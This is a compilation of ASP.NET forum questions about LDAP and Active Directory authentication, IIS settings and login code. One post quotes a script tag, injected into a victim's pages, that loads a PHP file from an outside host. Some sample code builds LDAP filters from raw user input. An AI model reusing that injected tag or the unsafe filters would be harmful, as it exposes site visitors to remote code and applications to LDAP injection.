Security :: LDAP The Authentication Mechanism Is Unknown?

Mar 4, 2010

I am working on Web application which get the authentication details from the Active direcoty using LDAP

when I am using the function DirectorySearcher.FindOne() it gives this error message (The authentication mechanism is unknown), and I relized that I should put this line in the web.config file ( <identity impersonate="false"/> ), then this problem will be solved.

but at the same time I should put true value to the same attribute to get the correct result when I am calling this function

System.Security.Principal.WindowsIdentity.GetCurrent().Name

otherwise the returened value will be (NT AUTHORITYNETWORK SERVICE) not the authenticated user name.



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Active Directory/LDAP :: .net And Ldap Unknown Error (0x80005000)?

Jul 28, 2005

I am trying to connect to my college LDAP directory using ASP.NET. This LDap does not have security as it returns only user demographic information.What i am trying to do is, i am trying to look up all the information for
the user with user id 'testuser'. The following is the Vb.net code for my aspx page:

Dim oRoot As DirectoryEntry = New
DirectoryEntry("LDAP://directory.x.y/ou=People,dc=x,dc=y")
Dim oSearcher As DirectorySearcher = New DirectorySearcher(oRoot) [code]...

The above code fails at the line "oResult = oSearcher.FindOne" and gives me an error which is useless: "Unknown error (0x80005000)"

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Active Directory/LDAP :: LDAP + Unknown Error (0x80005000)?

Dec 16, 2010

I am trying to add given user to administrators group using LDAP , Have gone through different posts but not able to solve problem also want to add network service to administratos group

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Security :: Running Application Under The Security Context Of The Logged In User (LDAP Authentication)

Mar 17, 2011

We are using membership provider for LDAP authentication. It is working as it should.

But what all configuration settings I have to do so that
all the future requests to this application run under the security context of the Logged in user account not through the some default user set in IIS.

We need to have this working because all the permissions on the database are based on the logged in user.

We are using form authentication for LDAP authentication. And having impersonation = true in web.config.

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Security :: LDAP Authentication Using Service Account?

Aug 14, 2010

I am looking for a code which does authentication using service account username and password. I mean username and password which has permission to access the active directory and then authenticate the actual username and password provided by end-user. Googled everywhere but could not find any suitable code.

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Active Directory/LDAP :: Authentication Using A AD Security Group

May 5, 2010

I am trying to restrict access to the webpage using a security group. find the code in the web.config file:

<authentication mode="Windows"/>
<roleManager enabled="true" defaultProvider="AspNetWindowsTokenRoleProvider" />
<authorization>
<allow roles="enterprisenet.orgNMR Helpdesk Supt" />
</authorization>

Code in the code behind file of the aspx file i am trying to access:

if (User.IsInRole(@"enterprisenet.orgNMR Helpdesk Supt"))
{}
else
{
Server.Transfer("noaccess.aspx");
}

Group is located in enterprisenet.org/Groups/NMR Helpdesk Supt . Its not working as expected.

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Active Directory/LDAP :: Authenticate Local User Using Ldap Or Non Domain Authentication?

Aug 11, 2010

I created one application, and I need to authenticate local user. This user is the user who is login to his/her Personal Computer.. Main thing his that he/she does not in any DOMAIN... I want NON-DOMAIN authentication.

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Active Directory/LDAP :: Ldap User Authentication Using UserDN And Password?

Aug 13, 2010

Is it possible to authenticate a user using userDN and password? If so, then tell me the syntax.So far i have tried to authenticate using username and password from my c# code using directoryentry which takes the parameters like domainname,username and password. But i need to authenticate using Userdn and password.

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.net - Changing Authentication Mechanism With MVC?

Feb 21, 2011

I need to read, generate and keep updated an authentication cookie that is different from formsauthentication one.

I saw many options like using IHttpHandlers, IHttpModules, custom Authorization filters, etc.

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Active Directory/LDAP :: LDAP - Directory Entry Issue With Out User And Password Using Impersonate And Windows Authentication?

Feb 8, 2010

LDAP - directory entry issue with out user and password using impersonate and windows authentication

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Active Directory/LDAP :: Error "Invalid Dn Syntax Specified" When Try To Use Authentication Form With LDAP

Mar 16, 2010

I tried to use Authentication form with LDAP but when I run my web application I received error: Invalid dn syntax specified. This is my code:

public bool IsAuthenticated(string domain, string username, string password)
{
// string domainAndUsername = domain + @"" + username;
string domainAndUsername = "http://localhost:389
jsmith";
// DirectoryEntry entry = new DirectoryEntry(_path, domainAndUsername, password);// _path = LDAP://localhost:389/dc=example,dc=com
DirectoryEntry entry = new DirectoryEntry("LDAP://localhost:389",domainAndUsername,"rJsmitH");
try
{
Object obj = entry.NativeObject;
DirectorySearcher search = new DirectorySearcher(entry);
search.Filter = "(SAMAccountName=" + username + ")";
search.PropertiesToLoad.Add("cn");

SearchResult result = search.FindOne();

if(null == result)
{
return false;
}
_path = result.Path;
_filterAttribute = (String)result.Properties["cn"][0];
}
catch (System.Exception ex)
{
throw new Exception("Error authenticating user. " + ex.Message);
}
return true;
}

I got exception at line Object obj = entry.NativeObject; and error message is: Invalid dn syntax specified. how can i take a right dn syntax? I tried some domain name such as: LDAP://localhost:389, [URL], ... but I still get this error

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Work The Authentication Mechanism Configured Using Web Site Administration Tool Under Linux Running Mono?

Jan 5, 2010

Does anyone know how to get to work the authentication mechanism configured using Web Site Administration Tool under Linux running Mono? Is it even possible?

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Active Directory/LDAP :: To Provide Authentication Based On A Active Directory Security Group for A Webpage

Apr 21, 2010

How to provide authentication based on a Active directory security group for a ASP.net webpage. I am using c# laungauge and .Net framework2.

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Difference Between Client Browser's Submit Mechanism And Postback Mechanism?

Sep 17, 2010

While going through MSDN I found that in button properties useSubmitBeheviour there is written that if useSubmitBeheviour is true then it cause the Button control to use the browser's submit mechanism and false then the ASP.NET page framework adds client-side script to the page to post the form to the server.

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What Is The Difference Between Client Browser's Submit Mechanism And The Postback Mechanism

Jan 8, 2011

Button.UseSubmitBehavior property is used to gets or sets a value indicating whether the Button control uses the client browser's submit mechanism or the ASP.NET postback mechanism.

So, What is the difference between client browser's submit mechanism and the ASP.NET postback mechanism?

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Security :: Handle Login And Logout Mechanism

May 5, 2010

how is loggin and logout handled. Are we to create any session @ the login.aspx page. Any simple code just to understand

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C# - Set Up Silent Authentication Using LDAP / AD

Apr 15, 2010

We're using a CMS product called Immediacy, which claims it can handle silent authentication using LDAP / AD but just can't get the thing to work.

point me to a good article or post that lays out the steps to do the above (assuming it's achievable)?

Basically, we need to secure pages on our intranet, and, as our firm is full of 'very important people' who 'don't have time to log in' this is an almost essential requirement.

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Login Authentication Using LDAP?

Mar 18, 2010

I want to authenticate of my user to domain account using LDAP in c# (ASP.Net)

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Security :: How To Authenticate Users With Existing Login Control Mechanism

Feb 5, 2011

we have a web site (Web Site 1) which is presently working and authenticates the users using ASP.Net login control.

We have a new site (Web Site 2) which will have a web page with user name and password fields and these values will be posted to Web Site 1. I am trying to authenticate those user credentials on Web Site1 using

Membership.ValidateUser(UserName, Password); method. but i am keep getting "User AuthenticatedObject reference not set to an instance of an object. " exception.

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LDAP Authentication From .NET Using Proxy User?

Feb 3, 2010

We want to use a "proxy user" to connect to an LDAP server (Active Directory, Novell, or otherwise) and then make sure that the user trying to log into the application has typed in an acceptable user name and password. I have got the code for connecting to LDAP just fine, but I'm at a loss as to how to check the user name and password. Can you do this through an LDAP query?

Here's the guts of my code so far:

Public Function Authenticate(ByVal UserName As String, ByVal Password As String)
Dim LDAPServer As String = ConfigurationManager.AppSettings("LDAPServer")
Dim proxyUsername As String = ConfigurationManager.AppSettings("LDAPProxyUser")
Dim proxyPassword As String = ConfigurationManager.AppSettings("LDAPProxyPassword")
Dim entry As DirectoryEntry
entry = New DirectoryEntry(LDAPServer, proxyUsername, proxyPassword)
'This performs the LDAP authentication'
Dim obj As Object = entry.NativeObject
Dim search As New DirectorySearcher(entry)
search.Filter = String.Format("(SAMAccountName={0})", UserName)

'How do I check the password now?'

Dim result As SearchResult = search.FindOne()

If result Is Nothing Then Throw New Exception("Unable to find SAMAccountName")

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C# - Forms Authentication Against Active Directory - LDAP Protocol

Jan 27, 2011

I need to create a web page that authenticates users against an existing active directory. The domain is actually a cloud computing configuration where there is a domain controller and multiple other servers on the stack.

I understand that objects from the System.DirectoryServices namespace can be used. However, I cant seem to path the code to the active directory through the LDAP://domain.com address. There doesnt seem to be any communication going on. I suspect there is some initial configuration necessary or security measures blocking the communication.

I am working with this example from MSDN: http://msdn.microsoft.com/en-us/library/ms180890(v=vs.80).aspx.

I get an error that says the server is not operational.

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Active Directory/LDAP :: AD Authentication Using Forms - Dealing With Roles

Mar 2, 2010

I am not really sure if this post should go in the Security section or the Active Directory / LDAP section....with that being said I am looking for advice on how to best accomplish my goal(s), I am working with FORMS authentication, using active directory (across 2 domains). I have got authenticating working correctly based upon the article at: [URL] now - my questions:

1. What is the best way to deal with roles? What I would like to do is restrict access to my application so that only the users that are authorized to use the application can login - not everyone in the AD. My gut feeling tells me I would use an AD group for this. Furthermore, a subset of these users in this group will be allowed to access the data maintenance forms

2. Ideally, in a perfect world, I would like to write this authentication piece as a separate project - this way it could be used for multiple projects - the only thing different would be the AD groups it would be checking. Is there a way that I could set which AD groups or roles in each projects web.config?

Am I approaching this the correct way? What is typically done?

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Security :: System.IO.IOException Unknown User Name Or Bad Password?

Feb 15, 2011

I cannot for the life of me figure out why I cannot wrtite a file to a directory inside of the website. I have this working on a Windows 2003 Server using IIS6. I've ported this web app to a 64bit Windows 2008 server and I am unable to have my web app write a file to a directory. I have shared and given security access to everything under the sun on this server to that particular folder and still no luck. My dev workstation with Visual Studio 2010 has no probelm saving a file to that directory. So it has to be something with the web server account. I am using Windows Authentication. I have an account in our Active Directory that is being used.

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Security :: An Unknown Script Tag Is Adding Automatically To All Webforms(.aspx)?

Feb 5, 2010

an unknown script tag is adding automatically to all my webforms(.aspx) and its giving me error in the page,

the script is like this::

</asp:Content>
<script src=http://koyalonline.com/addons/yas/ohwdhkn.php ></script>

when i delete all the pages and if i upload new pages from my system to remote server, then for one day it will run properly but after one day a new script which is shown above will automatically added to the end of every form...

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Security :: Authentication Method - Enable Anoymous Access And Basic Authentication?

Jul 14, 2010

This could be very straight forward for some of you, but I got caught up. I am doing very simple test - browsing from IIS Manager to see the default page or "under Construction", however I am being challenged to provide my login credential . When I provide my login credential, I am able to see the default page. I wanted to see the default page without providing my credential since Enable anoymous access + basic authentication I am simply wanted to see the default page asit is working on other servers except this one. I have included screen print to make sure may question is clear.

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Security :: What's The Difference Between Basic Authentication And Integrated Windows Authentication In IIS

Jan 4, 2011

What's the difference between Basic Authentication and Integrated Windows Authentication in IIS?

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Security :: Enable Windows Authentication And Disable The Anonymous Authentication In IIS?

Mar 10, 2010

I set authentication mode to Windows in the web.config and I enable Windows Authentication and disable the Anonymous Authentication in IIS 7 on win 7, but HttpContext.Current.User is always null.It works fine when I host the web app in IIS 6.0.

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Security :: Changing From Forms Authentication To Windows Authentication?

Sep 3, 2010

What do I need to do in order to change an application from Forms Authentication to windows authentication?

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Security :: Web Farm Using Window Authentication Or Form Authentication?

Aug 9, 2010

I have a web farm web project, and want to make sure windows authentication is working well without any problem in web farm, can any one give me some web sites or information about that?

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Security :: How To Develop Authentication Module Using Form Authentication

Feb 8, 2010

Am going to develop authentication part in the web site. I want my authentication module should not be hacked by any one and also want in secure side.

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